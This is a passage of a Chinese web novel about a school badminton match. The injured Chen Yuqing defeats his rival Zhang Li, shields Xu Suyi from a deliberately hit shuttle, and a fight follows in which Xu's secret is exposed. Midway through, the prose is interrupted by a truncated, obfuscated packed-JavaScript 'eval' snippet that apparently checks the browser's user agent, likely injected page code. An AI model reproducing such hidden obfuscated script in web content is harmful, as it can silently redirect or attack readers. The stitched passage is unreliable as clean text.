‘啪’一声响,标准流畅的一个杀球,打乱章利的节奏,他下意识反接回去。 章利紧紧盯着陈屿清。 而陈屿清往前轻跑,转身,起跳,背对章利,右手向下挥拍。 一个背对吊球,章利迅速往旁边接球,然而球稳稳落地。 第一局比赛over。 在场的欢呼声再次高涨。 乔彦林直接被陈屿清帅飞了,连连口出“卧槽”,“帅飞了啊啊啊啊,陈屿清你是我哥!!” 温新南直接冲上去,给陈屿清开水,递毛巾,顺带还碰了个拳。 许苏意一整局高吊的心放了下来,她看向陈屿清。 少年眉梢染笑,漆黑眼眸盛着炽热,整个人耀眼夺目,意气风发。 耳边呼声高到刺耳,场内热闹喧嚣。 许苏意的心跳很快,她没忍住笑,占朴洛和朱宁茜也笑着,一直在说“帅”“牛”之类的字眼。 她们摇着许苏意的手臂,激动得几乎快要跳起来。 “我去,陈屿清太帅了啊啊啊啊!” “那个背身反手接杀球,帅飞我了!” 周遭同学在讨论,拍视频照片的不少,有的迅速联系了没来的学生,场内又来了一些学生。 碰完拳,陈屿清拧开矿泉水,仰头,喉结滚动,他耀眼的在发光。 这把真的如陈屿清所说,十分钟之内结束了比赛。 温新南挑衅地看向章利,章利气得牙痒痒,竞赛班男生围着他在说话,周围太吵了,听不清是什么,许苏意只看见他嘴角挂了笑,方才的气愤全然褪去。 第二场比赛开始。 章利打得十分凶猛,他侧身,蹬腿,转胯,每一个动作十分流畅,基础功稳定,几乎每一个球都是高远球。 他在消耗陈屿清的体力,将自己这边形成一堵密不透风的墙,试图将陈屿清压到底线。 “章利在压陈屿清,好难。” “前面他们班在聊天,这不会就是他们的战术吧?” “啊,章利想把局势扭转。” “……好难打。” 场面焦灼,一时之间大家都在窃窃私语。 竞赛班那边的同学个个舒展眉眼。 许苏意眼眸直盯陈屿清,他漆黑的眼眸并没有被场上的话影响,她想起了前不久他说的话,也是这瞬间,许苏意的心静了下来。 他说过他不会输,她一直相信。 目光中,陈屿清起跳,在球的最高点,压腕,挥拍,球被暴力扣杀,一个速度极快,力量大的球划出漂亮的抛物线,稳稳落地。 场上比分已经拉开,差距十分。 章利脸色愈发阴沉,他开始拼命抢夺主动权。 许苏意看到陈屿清戴着护腕的右手好几次露出红。 动作很快,几乎所有人的目光都盯着球,没什么人注意到他的手腕。 陈屿清的面色没有变,似乎不受影响。 许苏意心里憋着一口气。 可章利却注意到了,陈屿清每一个动作他都在了解,企图破发。 他再次发球,球飞出去,精准打到了陈屿清的手腕。 猝不及防,陈屿清的手腕感受到莫名击打,他下意识地甩开,皱了眉头。 温新南直接从这边冲了过去,沉着脸:“章利,你他妈有没有脑子?” “你他妈羽毛球白打了?球场礼仪你有没有学过?陈屿清刚刚举着手,手没放下来你发个蛋的球!” 章利根本无所谓,他摊开手,耸肩:“我又不是职业球员,打个小比赛需要什么礼仪,再说了我也不知道这个规则啊。” 前不久是谁要说按照专业的来?明显装的。 许苏意听到这句话,脸色也冷了下来。 温新南更是气得要冲向章利,被陈屿清制止了。 章利笑得没脸没皮,“打球不小心打到人也很正常啊,毕竟我也打了一局有点累了,这球不算分。” 温新南想去看陈屿清的手腕,被拦了。 陈屿清冷冷地看章利,声线淡然:“不急,五分钟结束比赛。” 羽毛球在球场上球速极快,刚刚章利挥拍时的声响清晰有力。 陈屿清轻转手腕,他没那么大方让章利白白打,一点一滴他都要拿回来。 隔着距离,温新南沉着脸。 他知道陈屿清生气了。 羽毛球落在地面上,陈屿清将球拍贴球,快速将球捞起,动作行云流水,压根不用捡球。 许苏意一颗心提得七上八下,只有她知道陈屿清的手腕原本就有伤。 然而接下来的比赛,原本陈屿清就领先得分,加上这么一出,章利更是一分都别想得到。 陈屿清打得凶猛,章利没想到他攻势如此强劲,密不透风,根本没办法从正面突破,只能从其他地方下手。 章利大力,装作要打出高远球,实则轻轻打球,在网前落下。 这是一个吊球,然而陈屿清迅速往前,反手握拍,手臂回拉,打出一个网前反手低手位勾角球,球反而飞向对角,在章利网前落下。 那一刻,比赛结束,裁判宣布陈屿清胜利,全场沸腾,尖叫声,欢呼声不断。 二比零的比赛,第三局不用打了,章利已经输了。 “我去。”乔彦林惊呆了,“这招我之前在短视频刷到过,这么短的时间,能反应过来打出质量这么高的对角球,这很吃天赋!陈屿清6啊。” “有些人是真的天才……” 乔彦林被陈屿清折服了,要成为他的小迷弟了。 潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“带着你那犯规,不讲礼仪的——”说完温新南还不忘顿了一下,补刀,“烂、球、技。” 杀人诛心。 章利站在球场,右手拿拍,往地上捞羽毛球,紧接着左手丢球,挥拍,动作一气呵成,空气中传来一声清脆声响。 一个高远球直直地冲向陈屿清身旁的许苏意。 球打歪了,章利要打的是陈屿清。 那瞬间,许苏意整个人都愣住,根本来不及闪躲,然而想象中的疼痛并没有感受到。 因为,陈屿清替她挡住了,硬生生地用手接住了那只羽毛球。 在场的人倒吸一口气,占朴洛和朱宁茜惊呆了,立马往前走两步,靠近许苏意,“苏意,你没吓到吧?” 陈屿清冷冷地看向章利,少年眼眸冰凉,“章利,你连打我都打不准吗?” 许苏意眼眸瞪大,对着占朴洛和朱宁茜摇了摇头说没事。 她心跳失控,整个人都有些懵,唯一可以确定的是陈屿清保护了她,又替她挡住危险了。 许苏意反应了三秒钟才走上前,看向章利,声线平淡:“章利,你见不得陈屿清身边的每个人都比你好,他有朋友,有成绩。” “怎么,你这样嫉妒,是不是因为你没有呢?” “你不仅输了比赛,还输了一切。” 温新南看向陈屿清的手,他的右手护腕已经被摘下,整只手红得厉害,原本冷白的肌肤在此刻看上去十分吓人。 他三两下冲到章利面前,右手用力挥拳,“操你妈的章利,我他妈今天打不死你,输不起就别打比赛啊你在这儿跟老子装什么呢?” 乔彦林当即冲上去抓温新南,场面一度有些失控。 陈屿清走过去,左手抓着温新南让他过来,接着仰头看章利,“章利,我不会回竞赛班,但你记着见到我绕道走。” “我没心思跟你博弈,你永远是我的手下败将。” 陈屿清走了。 温新南瞪着章利,没跟上陈屿清,而是拿起刚刚他的球拍,接连两个球打在章利身上,“章利,我他妈告诉你,第一个球,是替阿屿打的,第二个,是上次你踢我的。” 许苏意第一次见到温新南这样生气,即使上次章利和他打架都没有这样生气。 接着,她听到温新南咬牙切齿的声音,“你明知道阿屿带伤跟你打比赛,你他妈还当小人打他手,羽毛球球速565公里一小时,你知不知道这会废了他的手!如果阿屿的手废了再也拿不了拍,你见到阿屿绕道走,我见你一次打你一次,我弄死你!” 所有人的目光都集中过来看戏。 章利冷笑一声,根本不在意温新南的话,他盯着不远处陈屿清的背影大喊一声,“陈屿清!” 陈屿清步伐没停,他根本懒得理章利。 章利擦了擦嘴角被温新南打出的血,发现陈屿清没反应,他脸色缓了缓,继续说:“你他妈真是个傻子,许苏意接近你就是为了让你回竞赛班,你还帮她徒手接球,你手要是真废了就是你活该!” 陈屿清步伐一顿。 占朴洛和朱宁茜被这些话砸得眼冒金星,包括温新南。 许苏意整个人都呆住了,所有的秘密都在这一刻都被揭发开来。